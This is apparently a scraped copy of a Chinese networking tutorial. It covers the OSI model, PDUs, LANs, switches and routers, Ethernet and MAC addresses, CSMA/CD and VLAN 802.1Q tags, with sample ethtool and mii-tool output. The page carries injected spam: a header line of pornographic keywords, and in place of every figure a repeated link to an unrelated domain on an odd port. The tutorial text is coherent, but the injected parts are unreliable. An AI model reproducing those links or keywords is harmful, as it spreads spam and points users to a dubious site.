国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

網(wǎng)絡(luò)協(xié)議和管理

這篇具有很好參考價(jià)值的文章主要介紹了網(wǎng)絡(luò)協(xié)議和管理。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

目錄

1 網(wǎng)絡(luò)基礎(chǔ)

1.1 網(wǎng)絡(luò)概念

1.2 常見的網(wǎng)絡(luò)物理組件

1.3 網(wǎng)絡(luò)應(yīng)用程序

1.3.1 各種網(wǎng)絡(luò)應(yīng)用?

1.3.2 應(yīng)用程序?qū)W(wǎng)絡(luò)的要求

1.4 網(wǎng)絡(luò)的特征

1.4.1 網(wǎng)絡(luò)拓?fù)?/p>

1.5 網(wǎng)絡(luò)標(biāo)準(zhǔn)

1.5.1 網(wǎng)絡(luò)標(biāo)準(zhǔn)和分層

1.5.2 開放系統(tǒng)互聯(lián) OSI

1.5.3 網(wǎng)絡(luò)的通信過程

協(xié)議數(shù)據(jù)單元 PDU

2 局域網(wǎng) Local Area Network

2.1 概述

2.1.1 特點(diǎn)

2.1.2 主要功能

2.1.3 優(yōu)點(diǎn)

2.1.4 標(biāo)準(zhǔn)

2.2交換機(jī) switch

2.2.1集線器與交換機(jī)的比較

2.2.2路由器 router

2.3 以太網(wǎng)技術(shù)

2.3.1 概述

?2.3.2 以太網(wǎng)MAC幀格式

?2.3.3 MAC地址

2.3.4 沖突檢測的載波偵聽多路訪問 CSMA/CD

2.4 虛擬局域網(wǎng) VLAN

2.4.1 VLAN 原理

2.4.2 IEEE 802.1Q 幀結(jié)構(gòu)

?2.5 分層的網(wǎng)絡(luò)架構(gòu)

3 TCP/IP 協(xié)議棧

3.1 TCP/IP 標(biāo)準(zhǔn)

3.1.1 TCP/IP 介紹

3.1.2 TCP/IP 分層

?3.1.3 TCP/IP 通信過程

?3.1.4 TCP/IP和OSI模型的比較

3.2 transport 層?編輯

?編輯?3.2.1 TCP Transmission Control Protocol

?3.2.2TCP端口號(hào)通信過程

?編輯3.2.3TCP確認(rèn)和固定窗口

?3.2.3.1三次握手和四次揮手

?編輯?3.3內(nèi)核TCP參數(shù)優(yōu)化

?3.4UDP包頭?編輯

?3.5Internet層.?編輯

3.5.1internet 協(xié)議

3.5.2IP PDU 報(bào)頭

?編輯3.5.3 IP PDU 報(bào)頭格式

3.6IP地址

3.6.1IP地址分類?

3.6.2公共和私有IP地址

?編輯?3.6.3特殊地址

?3.6.4保留地址

?3.6.5子網(wǎng)掩碼

?3.7劃分子網(wǎng)

3.7.1優(yōu)化IP地址分配

?3.7.2?跨網(wǎng)絡(luò)通信

3.7.3動(dòng)態(tài)主機(jī)配置協(xié)議 DHCP

4 網(wǎng)絡(luò)配置

4.1 基本網(wǎng)絡(luò)配置

4.2 網(wǎng)卡名稱

4.2.2 CentOS 7 以上版網(wǎng)絡(luò)配置

4.3 網(wǎng)絡(luò)配置命令

4.3.1 主機(jī)名

4.3.2 網(wǎng)絡(luò)配置方式

4.3.3 ifconfig 命令

4.3.4 route 命令

?4.3.5 配置動(dòng)態(tài)路由

4.3.6 netstat 命令

4.3.7 顯示接口統(tǒng)計(jì)數(shù)據(jù)

4.3.8 ip命令

4.3.8.2 管理路由

4.3.9 ss 命令

4.3.10 網(wǎng)絡(luò)配置工具 nmcli

4.4 網(wǎng)絡(luò)配置文件

4.4.1 網(wǎng)絡(luò)基本配置文件

4.4.2 配置當(dāng)前主機(jī)的主機(jī)名

4.4.3 本地主機(jī)名數(shù)據(jù)庫和IP地址的映射

4.4.4 DNS域名解析

4.4.5 修改 /etc/hosts和DNS的優(yōu)先級(jí)

4.4.6 路由相關(guān)的配置文件

4.5 網(wǎng)卡別名

4.6 多網(wǎng)卡 bonding

4.6.1 Bonding 聚合鏈路工作模式

4.6.2 Bonding 配置

4.6.3 nmcli實(shí)現(xiàn) bonding

4.7 網(wǎng)絡(luò)組 Network Teaming

4.8 網(wǎng)橋(交換機(jī))

4.8.1 橋接原理

?4.8.2 配置實(shí)現(xiàn)網(wǎng)橋

?4.9 網(wǎng)絡(luò)測試診斷工具

4.9.1 fping

4.9.2 tcpdump

4.9.3 nmap

4.9.4 nc

5 Ubuntu 網(wǎng)絡(luò)配置

5.1 主機(jī)名

5.2 網(wǎng)卡名稱

5.3 Ubuntu網(wǎng)卡配置

5.3.1 配置自動(dòng)獲取IP

5.2.2 配置靜態(tài)IP

5.3.3 配置多?卡靜態(tài)IP和靜態(tài)路由

5.3.4 單組橋接

5.3.5 多組橋接

5.3.6 雙?卡綁定

5.3.7 雙?卡綁定+橋接

5.3.8 ?卡的多組綁定

5.3.9 ?卡多組綁定+多組橋接

6,nc - 網(wǎng)絡(luò)工具箱中的「瑞士軍刀」? ? ? ?

6.1安裝及用法

6.2 使用nc測試網(wǎng)絡(luò)連通性測試和端口掃描

?6.2.1客戶端測試測試方法1:

?6.2.2客戶端測試,測試方法2

?6.2.3?客戶端測試,測試方法3

?6.2.4客戶端測試,測試方法4(和方法3相似,但用處更大)

6.2.5nc作為server端啟動(dòng)一個(gè)udp的監(jiān)聽(注意,此處重點(diǎn)是起udp)

6.2.6?客戶端測試,測試方法1?

?6.2.7客戶端測試,測試方法2

?6.2.8客戶端測試,測試方法3

?6.3使用nc傳輸文件和目錄

?6.4使用nc測試網(wǎng)速

1 網(wǎng)絡(luò)基礎(chǔ)

1.1 網(wǎng)絡(luò)概念

計(jì)算機(jī)網(wǎng)絡(luò)是一組計(jì)算機(jī)或網(wǎng)絡(luò)設(shè)備通過有形的線纜或無形的媒介如無線,連接起來,按照一定的規(guī)則,進(jìn)行通信的集合。

網(wǎng)絡(luò)功能和優(yōu)點(diǎn)
????????數(shù)據(jù)和應(yīng)用程序
????????資源
????????網(wǎng)絡(luò)存儲(chǔ)
????????備份設(shè)備
作用范圍分類
????????廣域網(wǎng)(WAN,Wide Area Network)
????????城域網(wǎng)(MAN,Metropolitan Area Network)
????????局域網(wǎng)(LAN,Local Area Network)

1.2 常見的網(wǎng)絡(luò)物理組件

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

1.3 網(wǎng)絡(luò)應(yīng)用程序

1.3.1 各種網(wǎng)絡(luò)應(yīng)用?

????????Web 瀏覽器(Chrome、Edge、IE、Firefox等)
????????即時(shí)消息(QQ、微信、釘釘?shù)龋?br> ????????電子郵件(Outlook、foxmail 等)
????????協(xié)作(視頻會(huì)議、VNC、Netmeeting、WebEx 等)
????????web網(wǎng)絡(luò)服務(wù)(apache,nginx,IIS)
????????文件網(wǎng)絡(luò)服務(wù)(ftp ,nfs,samba)
????????數(shù)據(jù)庫服務(wù)( MySQL,MariaDB,MongoDB)
????????中間件服務(wù)(Tomcat,JBoss)
????????安全服務(wù)(Netfilter)

1.3.2 應(yīng)用程序?qū)W(wǎng)絡(luò)的要求

批處理應(yīng)用程序
????????FTP、TFTP、庫存更新
????????無需直接人工交互
????????帶寬很重要,但并非關(guān)鍵性因素
交互式應(yīng)用程序
????????庫存查詢、數(shù)據(jù)庫更新
????????人機(jī)交互
????????因?yàn)橛脩粜璧却憫?yīng),所以響應(yīng)時(shí)間很重要,但并非關(guān)鍵性因素,除非要等待很長時(shí)間
實(shí)時(shí)應(yīng)用程序
????????VoIP、視頻
????????人與人的交互
????????端到端的延時(shí)至關(guān)重要

1.4 網(wǎng)絡(luò)的特征

速度

成本
安全性
可靠性
可用性
可擴(kuò)展性
拓?fù)?/p>

1.4.1 網(wǎng)絡(luò)拓?fù)?/h4>

拓?fù)浣Y(jié)構(gòu)一般是指由點(diǎn)和線排列成的幾何圖形
計(jì)算機(jī)網(wǎng)絡(luò)的拓?fù)浣Y(jié)構(gòu)是指一個(gè)網(wǎng)絡(luò)的通信鏈路和計(jì)算機(jī)結(jié)點(diǎn)相互連接構(gòu)成的幾何圖形

拓?fù)浞诸?br> ????????物理拓?fù)涿枋隽宋锢碓O(shè)備的布線方式
????????邏輯拓?fù)涿枋隽诵畔⒃诰W(wǎng)絡(luò)中流動(dòng)的方式

拓?fù)浣Y(jié)構(gòu)分類

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?總線拓?fù)洌核性O(shè)備均可接收信號(hào)
星型拓?fù)洌和ㄟ^中心點(diǎn)傳輸,單一故障點(diǎn)
擴(kuò)展星型拓?fù)洌罕刃切屯負(fù)涞膹?fù)原能力更強(qiáng)
環(huán)拓?fù)洌盒盘?hào)繞環(huán)傳輸,單一故障點(diǎn)
雙環(huán)拓?fù)洌盒盘?hào)沿相反方向傳輸,比單環(huán)的復(fù)原能力更強(qiáng)
全網(wǎng)狀拓?fù)洌喝蒎e(cuò)能力強(qiáng),實(shí)施成本高
部分網(wǎng)狀拓?fù)洌涸谌蒎e(cuò)能力與成本之間尋求平衡

1.5 網(wǎng)絡(luò)標(biāo)準(zhǔn)

1.5.1 網(wǎng)絡(luò)標(biāo)準(zhǔn)和分層

舊模型:專有產(chǎn)品,由一個(gè)廠商控制應(yīng)用程序和嵌入的軟件
基于標(biāo)準(zhǔn)的模型:多廠商軟件,分層方法

層次劃分的必要性
計(jì)算機(jī)網(wǎng)絡(luò)是由許多硬件、軟件和協(xié)議交織起來的復(fù)雜系統(tǒng)。由于網(wǎng)絡(luò)設(shè)計(jì)十分復(fù)雜,如何設(shè)計(jì)、組織和實(shí)現(xiàn)計(jì)算機(jī)網(wǎng)絡(luò)是一個(gè)挑戰(zhàn),必須要采用科學(xué)有效的方法

層次劃分的方法
????????網(wǎng)絡(luò)的第一層應(yīng)當(dāng)具有相對獨(dú)立的功能
????????梳理功能之間的關(guān)系,使一個(gè)功能可以為實(shí)現(xiàn)另一個(gè)功能提供必要的服務(wù),從而形成系統(tǒng)的層次結(jié)構(gòu)
????????為提高系統(tǒng)的工作效率,相同或相近的功能僅在一個(gè)層次中實(shí)現(xiàn),而且盡可能在較高的層次中實(shí)現(xiàn)每一層只為相鄰的上一層提供服務(wù)

層次劃分的優(yōu)點(diǎn)
????????各層之間相互獨(dú)立,每一層只實(shí)現(xiàn)一種相對獨(dú)立的功能,使問題復(fù)雜程度降低
????????靈活性好,各層內(nèi)部的操作不會(huì)影響其他層
????????結(jié)構(gòu)上可分割開,各層之間都可以采用最合適的技術(shù)來實(shí)現(xiàn)
????????易于實(shí)現(xiàn)和維護(hù),因?yàn)檎麄€(gè)系統(tǒng)已被分解成相對獨(dú)立的子系統(tǒng)
????????能促進(jìn)標(biāo)準(zhǔn)化工作,因?yàn)槊恳粚拥墓δ芗捌涮峁┑姆?wù)都有了精確的說明

1.5.2 開放系統(tǒng)互聯(lián) OSI

#OSI 七層的記憶口訣
All People Seem To Need Data Process
物數(shù)網(wǎng)傳會(huì)表應(yīng)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

在制定計(jì)算機(jī)網(wǎng)絡(luò)標(biāo)準(zhǔn)方面,起著重大作用的兩大國際組織是:國際電信聯(lián)盟電信標(biāo)準(zhǔn)化部門,與國際標(biāo)準(zhǔn)化組織(ISO International Organization for Standardization),雖然它們工作領(lǐng)域不同,但隨著科學(xué)技術(shù)的發(fā)展,通信與信息處理之間的界限開始變得比較模糊,這也成了國際電信聯(lián)盟電信標(biāo)準(zhǔn)化部門和ISO共同關(guān)心的領(lǐng)域。1984年,ISO發(fā)布了著名的OSI(Open System Interconnection)標(biāo)準(zhǔn),它定義了網(wǎng)絡(luò)互聯(lián)的7層框架,物理層、數(shù)據(jù)鏈路層、網(wǎng)絡(luò)層、傳輸層、會(huì)話層、表示層和應(yīng)用層),即OSI開放系統(tǒng)互連參考模型

?OSI 模型的七層結(jié)構(gòu)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?第7層 應(yīng)用層
應(yīng)用層(Application Layer)提供為應(yīng)用軟件而設(shè)的接口,以設(shè)置與另一應(yīng)用軟件之間的通信。例如:HTTP、HTTPS、FTP、TELNET、SSH、SMTP、POP3、MySQL等

第6層 表示層
主條目:表示層(Presentation Layer)把數(shù)據(jù)轉(zhuǎn)換為能與接收者的系統(tǒng)格式兼容并適合傳輸?shù)母袷?/p>

第5層 會(huì)話層
會(huì)話層(Session Layer)負(fù)責(zé)在數(shù)據(jù)傳輸中設(shè)置和維護(hù)電腦網(wǎng)絡(luò)中兩臺(tái)電腦之間的通信連接。

第4層 傳輸層
傳輸層(Transport Layer)把傳輸表頭(TH)加至數(shù)據(jù)以形成數(shù)據(jù)包。傳輸表頭包含了所使用的協(xié)議等發(fā)送信息。例如:傳輸控制協(xié)議(TCP)等。

第3層 網(wǎng)絡(luò)層
網(wǎng)絡(luò)層(Network Layer)決定數(shù)據(jù)的路徑選擇和轉(zhuǎn)寄,將網(wǎng)絡(luò)表頭(NH)加至數(shù)據(jù)包,以形成報(bào)文。網(wǎng)絡(luò)表頭包含了網(wǎng)絡(luò)數(shù)據(jù)。例如:互聯(lián)網(wǎng)協(xié)議(IP)等。

第2層 數(shù)據(jù)鏈接層
數(shù)據(jù)鏈路層(Data Link Layer)負(fù)責(zé)網(wǎng)絡(luò)尋址、錯(cuò)誤偵測和改錯(cuò)。當(dāng)表頭和表尾被加至數(shù)據(jù)包時(shí),會(huì)形成信息框(Data Frame)。數(shù)據(jù)鏈表頭(DLH)是包含了物理地址和錯(cuò)誤偵測及改錯(cuò)的方法。數(shù)據(jù)鏈表尾(DLT)是一串指示數(shù)據(jù)包末端的字符串。例如以太網(wǎng)、無線局域網(wǎng)(Wi-Fi)和通用分組無線服務(wù)(GPRS)等。分為兩個(gè)子層:邏輯鏈路控制(logical link control,LLC)子層和介質(zhì)訪問控制(Mediaaccess control,MAC)子層

第1層 物理層
物理層(Physical Layer)在局部局域網(wǎng)上傳送數(shù)據(jù)幀(Data Frame),它負(fù)責(zé)管理電腦通信設(shè)備和網(wǎng)
絡(luò)媒體之間的互通。包括了針腳、電壓、線纜規(guī)范、集線器、中繼器、主機(jī)接口卡等

1.5.3 網(wǎng)絡(luò)的通信過程

數(shù)據(jù)封裝和數(shù)據(jù)解封https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

協(xié)議數(shù)據(jù)單元 PDU

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?PDU: Protocol Data Unit,協(xié)議數(shù)據(jù)單元是指對等層次之間傳遞的數(shù)據(jù)單位
????????物理層的 PDU是數(shù)據(jù)位 bit
????????數(shù)據(jù)鏈路層的 PDU是數(shù)據(jù)幀 frame
????????網(wǎng)絡(luò)層的PDU是數(shù)據(jù)包 packet
????????傳輸層的 PDU是數(shù)據(jù)段 segment
????????其他更高層次的PDU是消息 message

三種通訊模式

????????unicast: 單播,目標(biāo)設(shè)備是一個(gè)
????????broadcast: 廣播,目標(biāo)設(shè)備是所有
????????multicast: 多播,組播,目標(biāo)設(shè)備是多個(gè)?

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?沖突域和廣播域

沖突域:兩個(gè)網(wǎng)絡(luò)設(shè)備同時(shí)發(fā)送數(shù)據(jù),如果發(fā)生了沖突,則兩個(gè)設(shè)備處于同一個(gè)沖突域,反之,則各自處于不同的沖突域

廣播域:一個(gè)網(wǎng)絡(luò)設(shè)備發(fā)送廣播,另一個(gè)設(shè)備收到了,則兩個(gè)設(shè)備處于同一個(gè)廣播域,反之,則各自處于不同的廣播域

三種通訊機(jī)制

????????單工通信:只有一個(gè)方向的通信,比如: 收音機(jī)
????????半雙工通信:通信雙方都可以發(fā)送和接收信息,但不能同時(shí)發(fā)送,也不能同時(shí)接收,比如:對講機(jī)
????????全雙工通信:通信雙方可以同時(shí)發(fā)送和同時(shí)接收,比如: 手機(jī)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

#例:查看雙工和速度
[root@localhost ~]# mii-tool eth0
eth0: negotiated 100baseTx-FD, link ok

[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
 product info: vendor 00:07:32, model 17 rev 5
 basic mode: ?autonegotiation enabled
 basic status: autonegotiation complete, link ok
 capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
 advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
 link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD


[root@centos8 ~]#ethtool -i eth0
driver: vmxnet3
version: 1.4.16.0-k-NAPI
firmware-version:
expansion-rom-version:
bus-info: 0000:03:00.0
supports-statistics: yes
supports-test: no
supports-eeprom-access: no
supports-register-dump: yes
supports-priv-flags: no

[root@centos8 ~]#ethtool eth0
Settings for eth0:
Supported ports: [ TP ]
Supported link modes: ?1000baseT/Full
???????????10000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: No
Supported FEC modes: Not reported
Advertised link modes: Not reported
Advertised pause frame use: No
Advertised auto-negotiation: No
Advertised FEC modes: Not reported
Speed: 10000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: off
MDI-X: Unknown
Supports Wake-on: uag
Wake-on: d
Link detected: yes

[root@centos8 ~]#mii-tool ?eth0
SIOCGMIIPHY on 'eth0' failed: Operation not supported

#網(wǎng)絡(luò)斷開的狀態(tài)
[root@centos8 ~]#mii-tool -v eth1
eth1: no link
product info: Yukon 88E1011 rev 3
basic mode: ?autonegotiation enabled
basic status: no link
capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

[root@centos8 ~]#ethtool eth1
Settings for eth1:
Supported ports: [ TP ]
Supported link modes: ?10baseT/Half 10baseT/Full
???????????100baseT/Half 100baseT/Full
           1000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
???????????100baseT/Half 100baseT/Full
???????????1000baseT/Full
Advertised pause frame use: No
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Speed: Unknown!
Duplex: Unknown! (255)
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: on
MDI-X: Unknown (auto)
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000007 (7)
???drv probe link
Link detected: no

[root@centos8 ~]#ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode
DEFAULT group default qlen 1000
?link/ether 00:0c:29:f8:5d:b7 brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN
mode DEFAULT group default qlen 1000
?link/ether 00:0c:29:f8:5d:c1 brd ff:ff:ff:ff:ff:ff



#例: 如何判斷網(wǎng)線斷開
root@centos8 ~]#mii-tool ?eth1
eth1: no link
[root@centos8 ~]#ethtool eth1
Settings for eth1:
Supported ports: [ TP ]
Supported link modes: ?10baseT/Half 10baseT/Full
???????????            100baseT/Half 100baseT/Full
???????????            1000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
??????????            ?100baseT/Half 100baseT/Full
??????????            ?1000baseT/Full
Advertised pause frame use: No
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Speed: Unknown!
Duplex: Unknown! (255)
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: on
MDI-X: Unknown (auto)
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000007 (7)
???drv probe link
Link detected: no

2 局域網(wǎng) Local Area Network

2.1 概述

2.1.1 特點(diǎn)

? ? ? 網(wǎng)絡(luò)為一個(gè)單位所擁有
? ? ? 地理范圍和站點(diǎn)數(shù)目均有限

2.1.2 主要功能

資源共享和數(shù)據(jù)通信

2.1.3 優(yōu)點(diǎn)

能方便地共享昂貴的外部設(shè)備、主機(jī)以及軟件、數(shù)據(jù)。從一個(gè)站點(diǎn)可以訪問全網(wǎng)
便于系統(tǒng)的擴(kuò)展和逐漸演變,各設(shè)備的位置可靈活的調(diào)整和改變
提高系統(tǒng)的可靠性、可用性和易用性

2.1.4 標(biāo)準(zhǔn)

IEEE(國際電子電氣工程師協(xié)會(huì))于1980年2月成立了局域網(wǎng)標(biāo)準(zhǔn)委員會(huì)(簡稱IEEE802委員會(huì)),專門從事局域網(wǎng)標(biāo)準(zhǔn)化工作,并制定了IEEE802標(biāo)準(zhǔn)。802標(biāo)準(zhǔn)所描述的局域網(wǎng)參考模型只對應(yīng)OSI參考模型的數(shù)據(jù)鏈路層與物理層,它將數(shù)據(jù)鏈路層劃分為邏輯鏈路層LLC子層和介質(zhì)訪問控制MAC子層.LLC子層負(fù)責(zé)向其上層提供服務(wù)MAC子層的主要功能包括數(shù)據(jù)幀的封裝/卸裝,幀的尋址和識(shí)別,幀的接收與發(fā)送,鏈路的管理,幀的差錯(cuò)控制等。MAC子層的存在屏蔽了不同物理鏈路種類的差異性。

2.2交換機(jī) switch

交換機(jī)是工作在OSI參考模型數(shù)據(jù)鏈路層的設(shè)備,外表和集線器相似
它通過判斷數(shù)據(jù)幀的目的MAC地址,從而將數(shù)據(jù)幀從合適端口發(fā)送出去
交換機(jī)是通過MAC地址的學(xué)習(xí)和維護(hù)更新機(jī)制來實(shí)現(xiàn)數(shù)據(jù)幀的轉(zhuǎn)發(fā)
內(nèi)部結(jié)構(gòu)https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?工作原理
(1)交換機(jī)根據(jù)收到數(shù)據(jù)幀中的源MAC地址建立該地址同交換機(jī)端口的映射,并將其寫入MAC地址表中
(2)交換機(jī)將數(shù)據(jù)幀中的目的MAC地址同已建立的MAC地址表進(jìn)行比較,以決定由哪個(gè)端口進(jìn)行轉(zhuǎn)發(fā)
(3)如數(shù)據(jù)幀中的目的MAC地址不在MAC地址表中,則向所有端口轉(zhuǎn)發(fā)。這一過程稱為泛洪(flood)
(4)廣播幀和組播幀向所有的端口轉(zhuǎn)發(fā)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

2.2.1集線器與交換機(jī)的比較

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?(1)交換機(jī)屬于數(shù)據(jù)鏈路層設(shè)備,而集線器屬于物理層設(shè)備
(2)集線器在轉(zhuǎn)發(fā)幀時(shí),不對傳輸介質(zhì)進(jìn)行檢測,交換機(jī)在轉(zhuǎn)發(fā)幀之前必須執(zhí)行 CSMA/CD 算法。若在
發(fā)送過程中出現(xiàn)碰撞,就必須停止發(fā)送和進(jìn)行退避。所以交換機(jī)能隔離沖突,而集線器卻只能增加沖突
(3) 交換機(jī)的每個(gè)端口可提供專用的帶寬,而集線器的所有端口只能共享帶寬
(4)集線器只能實(shí)現(xiàn)半雙工傳送,而交換機(jī)可支持全雙工傳送
(5)集線器和交換機(jī)都無法隔離廣播域

2.2.2路由器 router

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?路由:把一個(gè)數(shù)據(jù)包從一個(gè)設(shè)備發(fā)送到不同網(wǎng)絡(luò)里的另一個(gè)設(shè)備上去。這些工作依靠路由器來完成。路由器只關(guān)心網(wǎng)絡(luò)的狀態(tài)和決定網(wǎng)絡(luò)中的最佳路徑。路由的實(shí)現(xiàn)依靠路由器中的路由表來完成
路由器功能:
????????工作在網(wǎng)絡(luò)層
????????分隔廣播域和沖突域
????????選擇路由表中到達(dá)目標(biāo)最好的路徑
????????維護(hù)和檢查路由信息
????????連接廣域網(wǎng)

2.3 以太網(wǎng)技術(shù)

2.3.1 概述

以太網(wǎng)(Ethernet)是一種產(chǎn)生較早且使用相當(dāng)廣泛的局域網(wǎng),由美國Xerox(施樂)公司的Palo Alto研究中心(簡稱為PARC)于20世紀(jì)70年代初期開始研究并于1975年研制成功

?2.3.2 以太網(wǎng)MAC幀格式

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?2.3.3 MAC地址

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

在局域網(wǎng)中,硬件地址又稱為物理地址或MAC地址(因?yàn)檫@種地址用在MAC幀中)
IEEE 802標(biāo)準(zhǔn)為局域網(wǎng)規(guī)定了一種48位的全球地址(一般都簡稱為“地址”),是局域網(wǎng)中每一臺(tái)計(jì)算機(jī)固化在網(wǎng)卡ROM中的地址
IEEE 的注冊管理機(jī)構(gòu) RA 負(fù)責(zé)向廠家分配地址字段的前三個(gè)字節(jié)(即高位 24 位)
地址字段中的后三個(gè)字節(jié)(即低位 24 位)由廠家自行指派,稱為擴(kuò)展標(biāo)識(shí)符,必須保證生產(chǎn)出的適配器沒 有重復(fù)地址?

各大廠商MAC識(shí)別碼:

http://standards-oui.ieee.org/oui/oui.txt

2.3.4 沖突檢測的載波偵聽多路訪問 CSMA/CD

工作原理
????????先聽后發(fā)
????????邊發(fā)邊聽
????????沖突停止
????????延遲重發(fā)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

2.4 虛擬局域網(wǎng) VLAN

2.4.1 VLAN 原理

虛擬局域網(wǎng) VLAN 是由一些局域網(wǎng)網(wǎng)段構(gòu)成的與物理位置無關(guān)的邏輯組

這些網(wǎng)段具有某些共同的需求。每一個(gè) VLAN 的幀都有一個(gè)明確的標(biāo)識(shí)符,指明發(fā)送這個(gè)幀的工作站是屬于哪一個(gè) VLAN。虛擬局域網(wǎng)其實(shí)只是局域網(wǎng)給用戶提供的一種服務(wù),而并不是一種新型局域網(wǎng)優(yōu)點(diǎn)
(1)更有效地共享網(wǎng)絡(luò)資源。如果用交換機(jī)構(gòu)成較大的局域網(wǎng),大量的廣播報(bào)文就會(huì)使網(wǎng)絡(luò)性能下降。VLAN能將廣播報(bào)文限制在本VLAN范圍內(nèi),從而提升了網(wǎng)絡(luò)的效能
(2)簡化網(wǎng)絡(luò)管理。當(dāng)結(jié)點(diǎn)物理位置發(fā)生變化時(shí),如跨越多個(gè)局域網(wǎng),通過邏輯上配置VLAN即可形成網(wǎng)絡(luò)設(shè)備的邏輯組,無需重新布線和改變IP地址等。這些邏輯組可以跨越一個(gè)或多個(gè)二層交換機(jī)
(3)提高網(wǎng)絡(luò)的數(shù)據(jù)安全性。一個(gè)VLAN中的結(jié)點(diǎn)接收不到另一個(gè)VLAN中其他結(jié)點(diǎn)的幀

虛擬局域網(wǎng)的實(shí)現(xiàn)技術(shù)
????????(1)基于端口的VLAN
????????(2)基于MAC地址的VLAN
????????(3)基于協(xié)議的VLAN
????????(4)基于網(wǎng)絡(luò)地址的VLAN

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

2.4.2 IEEE 802.1Q 幀結(jié)構(gòu)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

IEEE 802.1Q 幀結(jié)構(gòu)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?VLAN 標(biāo)簽各字段含義
TPID:Tag Protocol Identifier(標(biāo)簽協(xié)議標(biāo)識(shí)符),2Byte,表示幀類型,取值為0x8100時(shí)表示IEEE802.1Q的VLAN數(shù)據(jù)幀。如果不支持802.1Q的設(shè)備收到這樣的幀,會(huì)將其丟棄,各設(shè)備廠商可以自定義該字段的值。當(dāng)鄰居設(shè)備將TPID值配置為非0x8100時(shí), 為了能夠識(shí)別這樣的報(bào)文,實(shí)現(xiàn)互通,必須在本設(shè)備上修改TPID值,確保和鄰居設(shè)備的TPID值配置一致

PRI:Priority,3bit,表示數(shù)據(jù)幀的802.1p(是IEEE 802.1Q的擴(kuò)展協(xié)議)優(yōu)先級(jí)。取值范圍為0~7,值越大優(yōu)先級(jí)越高。當(dāng)網(wǎng)絡(luò)阻塞時(shí),交換機(jī)優(yōu)先發(fā)送優(yōu)先級(jí)高的數(shù)據(jù)幀

CFI:Canonical Format Indicator(標(biāo)準(zhǔn)格式指示位),1bit,表示MAC地址在不同的傳輸介質(zhì)中是否以標(biāo)準(zhǔn)格式進(jìn)行封裝,用于兼容以太網(wǎng)和令牌環(huán)網(wǎng)。CFI取值為0表示MAC地址以標(biāo)準(zhǔn)格式進(jìn)行封裝,為1表示以非標(biāo)準(zhǔn)格式封裝。在以太網(wǎng)中,CFI的值為0

VID:VLAN ID,12bit,表示該數(shù)據(jù)幀所屬VLAN的編號(hào)。VLAN ID取值范圍是0~4095。由于0和4095為協(xié)議保留取值,所以VLAN ID的有效取值范圍是1~4094

?2.5 分層的網(wǎng)絡(luò)架構(gòu)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

架構(gòu)一

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)??架構(gòu)二

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?架構(gòu)三

